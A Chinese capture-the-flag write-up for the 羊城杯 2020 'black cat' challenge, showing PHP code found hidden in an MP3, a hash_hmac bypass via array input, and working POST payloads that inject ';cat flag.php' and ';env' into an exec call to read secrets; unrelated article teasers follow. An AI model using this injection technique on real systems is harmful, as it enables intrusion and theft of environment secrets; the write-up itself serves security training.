[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)

news2024/9/28 19:23:57

[羊城杯 2020]black cat

  • 1 解题流程
    • 1.1 第一步
    • 1.2 第二步
    • 1.3 第三步

1

1 解题流程

1.1 第一步

  1. 打开网站有首歌,按F12也是提示听歌,ctf-wscan扫描就flag.php
  2. 下载歌,用010打开,发现有一段内容
    if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
        die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
    }
    $clandestine = getenv("clandestine");		//获取环境变量
    if(isset($_POST['White-cat-monitor']))
        $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
    $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
    if($hh !== $_POST['Black-Cat-Sheriff']){
       die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
    }
    echo exec("nc".$_POST['One-ear']);
    

1.2 第二步

  1. 这题要post这几个参数:Black-Cat-Sheriff、One-ear、White-cat-monitor
    这里有3个if,首先第一个肯定绕过;
          第二个if里面存在hash_hmac函数,只要我们传数组就能让盐是空,即第一次加密的clandestine是空
          第三个因为盐是空所以只有普通加密,Black-Cat-Sheriff传对应加密结果就行
    特性:MD5、sha特性是无法识别数组,只要是数组加密,就会变成null,所以White-cat-monitor采用数组绕过
  2. 最后一个if判断,编写一个脚本,生成加密结果
    <?php
    	$hh = hash_hmac('sha256',';cat flag.php', null);
    	echo $hh;
    ?>
    结果:04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
    
  3. exec(‘nc’.) 这里拼接命令,如果直接传cat flag.php会变成 => exec('nc’cat flag.php)无法执行
    只要是系统命令的执行,可以通过;来拼接命令,所以one-ear=;cat flag.php => exec('nc';cat flag.php)

1.3 第三步

我先用ls ls …/ ls /等都没结果,考虑其他

  1. ?Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir&White-cat-monitor[]=1
    得到: Hei_Mao_Jing_Chang.mp3 flag.php index.php js scss
  2. Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
    得到: “GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}”;
    提交后发现这个flag是错的
  3. 如果cat flag.php没出来,就cat /flag,或者env
    Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env&White-cat-monitor[]=1
    得到:FLAG=flag{e325e53c-76d2-40b8-a41a-4dd88185afdb}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1078076.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

信息系统项目管理师第四版学习笔记——项目管理概论

项目基本要素 项目管理就是将知识、技能、工具与技术应用于项目活动&#xff0c;以满足项目的要求。通过合理地应用并整合特定的项目管理过程&#xff0c;项目管理使组织能够有效并高效地开展项目。 时间、成本、范围和质量等项目管理测量指标&#xff0c;历来被视为确定项目…

【Android】点击短信链接唤起APP的方案实践

一.概述 在很多业务场景中&#xff0c;需要点击短信链接跳转到App的指定页面。在Android系统中&#xff0c;想要实现这个功能&#xff0c;可以通过DeepLink或AppLink实现。 二.方案 1.DeepLink DeepLink是Android系统最基础、最普遍、最广泛的外部唤起App的方式&#xff0c;不…

源码开发经验:构建直播带货系统的关键步骤

在数字时代&#xff0c;直播带货已成为一种引领电子商务发展的热门趋势。无论您是一家电商巨头还是一位创业者&#xff0c;构建自己的直播带货平台都可能是一个具有巨大潜力的业务机会。本文将深入探讨构建直播带货平台的关键步骤&#xff0c;带您走进这一蓬勃发展的领域。 第…

每日提醒按时完成各项任务的手机app有什么?

快节奏的生活及工作压力下&#xff0c;很多事情处理起来也比较紧张&#xff0c;有时候我们需要抽出一丁点空闲的时间来处理非常重要的事情&#xff0c;而此时一定要把握好处理工作任务的时间&#xff0c;因此&#xff0c;时间观念要强在生活及工作中就变得非常重要&#xff0c;…

【RabbitMQ 实战】10 消息持久化和存储原理

一、持久化 1.1 持久化对象 rabbitmq的持久化分为三个部分&#xff1a; 交换器的持久化。队列的持久化。消息的持久化。 1.1.1 交换器持久化 交换器的持久化是通过在声明交换器时&#xff0c; 指定Durability参数为durable实现的。若交换器不设置持久化&#xff0c;在rabb…

【Node.js】zlib 模块

const fs require(fs) const zlib require(zlib)const gzip zlib.createGzip()const readstream fs.createReadStream(./avatar/1.txt) const writestream fs.createWriteStream(./avatar/2.txt)// 在写入之前压缩文件 readstream.pipe(gzip).pipe(writestream)可以明显看…

【Qt】QMainWindow

文章目录 **QMainWindow**简介菜单栏工具栏状态栏**铆接部件**核心部件&#xff08;中心部件&#xff09; 资源文件QtCreator导入资源文件VS导入资源文件使用资源文件 QMainWindow简介 QMainWindow是一个为用户提供主窗口程序的类&#xff0c;包含一个菜单栏&#xff08;menu …

AMP 软中断的过程和GPIO中断差别

ZYNQ笔记&#xff08;5&#xff09;&#xff1a;软中断实现核间通信 - 咸鱼IC - 博客园 (cnblogs.com) ZYNQ基础----AMP核间软中断_zynq核间中断-CSDN博客 相较于GPIO中断&#xff0c;省去了对中断触发敏感类型的配置&#xff08;软中断不可配&#xff09;&#xff0c;对中断管…

session是什么?cookie是什么,两者的区别,以及应用的场景?

Session和Cookie是两个常见的Web开发中用于状态管理的概念。Session是服务器端用来存储用户信息的一种机制。Cookie是一种存储在客户端浏览器中的小型文本文件。 当用户访问一个网站时&#xff0c;服务器为该用户创建一个唯一的Session&#xff0c;并生成一个Session ID。这个…

【CVPR 2023】 All are Worth Words: A ViT Backbone for Diffusion Models

All are Worth Words: A ViT Backbone for Diffusion Models, CVPR 2023 论文&#xff1a;https://arxiv.org/abs/2209.12152 代码&#xff1a;https://github.com/baofff/U-ViT 解读&#xff1a;U-ViT: A ViT Backbone for Diffusion Models - 知乎 (zhihu.com) All are W…

Vue实现简单的接口封装

1. 在src中创建一个api文件夹 2. 按功能、模块等新建对应的js文件 3. 在内部写对应的封装接口&#xff0c;并导出 import axios from "axios";/*** 接口名称&#xff1a;* 接收参数&#xff1a;* 返回参数&#xff1a;* */export const miens ()>{return new P…

Linux下启动jar包的几种常见方式

首先把这两个jar上传到linux ,会操作启动一个应用和同时启动多个应用 两个项目jar已上传&#xff0c;可去这里下载&#xff1a; https://download.csdn.net/download/zengzhaowu313/88411336 第一种、直接启动 jar 包 &#xff0c;先启动一个应用程序 &#xff0c;后面操作启…

上交所证券代码段分配规则

一、证券代码定义及编码原则 上海证券交易所证券代码采用6位阿拉伯数字编码&#xff0c;取值范围为000000-999999。6位代码的前3位为类别标识区&#xff0c;其中第一位为类别标识&#xff0c;第二位至第三位为业务标识&#xff0c;6位代码的后3位为顺序编码区&#xff1a; 二、…

计算机算法分析与设计(8)---图像压缩动态规划算法(含C++代码)

文章目录 一、知识概述1.1 问题描述1.2 算法思想1.3 算法设计1.4 例题分析 二、代码 一、知识概述 1.1 问题描述 1. 一幅图像的由很多个像素点构成&#xff0c;像素点越多分辨率越高&#xff0c;像素的灰度值范围为0~255&#xff0c;也就是需要8bit来存储一个像素的灰度值信息…

MS2401隔离式调制器可pin对pin兼容AD7401/AMC1305

MS2401是一款二阶Σ-Δ调制器&#xff0c;集成片上数字隔离器&#xff0c;能将模拟输入信号转换为高速1位码流。可pin对pin兼容AD7401/AMC1305&#xff0c;可兼容AD7701/AMC1306。调制器对输入信号连续采样&#xff0c;无需外部采样保持电路。模拟信号输入满量程为320mV&#x…

win10通过导入注册表快速添加小鹤双拼

环境:win10 win10通过导入注册表快速添加小鹤双拼 fly.reg win10导入附件中的注册表,系统将会自动添加小鹤双拼方案,并将小鹤双拼方案设置为默认。 将下面的代码复制并保存到reg文件中 Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\InputMe…

mysql作业-牛客

1 这个题已经为咱创建了表&#xff0c;所以直接输出就行。 select * from user_profile;2 查询多列&#xff0c;在select 后加上对应的列名即可 select device_id,gender,age,university from user_profile;3. 查询结果要求去重&#xff0c;在select 后加上distinct 再加上对…

2024年元旦怎么放假?元旦放假时间安排表记录到待办APP

结束了为其8天的中秋国庆长假&#xff0c;已经有不少网友开始期待下一个重要节日的到来了&#xff0c;它就是2024年的元旦。那么2024年元旦怎么放假&#xff1f;元旦放假时间安排表你知道吗&#xff1f;其实2024年1月1日是星期一&#xff0c;所以元旦放假时间是2023年12月30日—…

首批成员单位 | 聚铭网络受邀加入中国人工智能产业发展联盟数据委员会

近日&#xff0c;中国人工智能产业发展联盟(简称AIIA&#xff09;成立“数据委员会”&#xff0c;**聚铭网络受邀加入&#xff0c;成为首批成员单位&#xff0c;**与其他成员单位协同推动人工智能产业发展。 中国人工智能产业发展联盟是在国家发展和改革委员会、科学技术部、工…

【网络基础必看】计算机网络 Web与HTTP详解:中科大郑烇老师笔记 (三)

目录 0 引言1 基本概念2 HTTP2.1 HTTP概况2.1.1 HTTP的主要特点2.1.2 持久HTTP和非持久HTTP2.1.3 HTTP请求报文2.1.4 HTTP响应报文 2.2 用户-服务器状态&#xff1a;Cookies2.3 请求-响应模型2.4 Web缓存&#xff08;代理服务器&#xff09; &#x1f64b;‍♂️ 作者&#xff…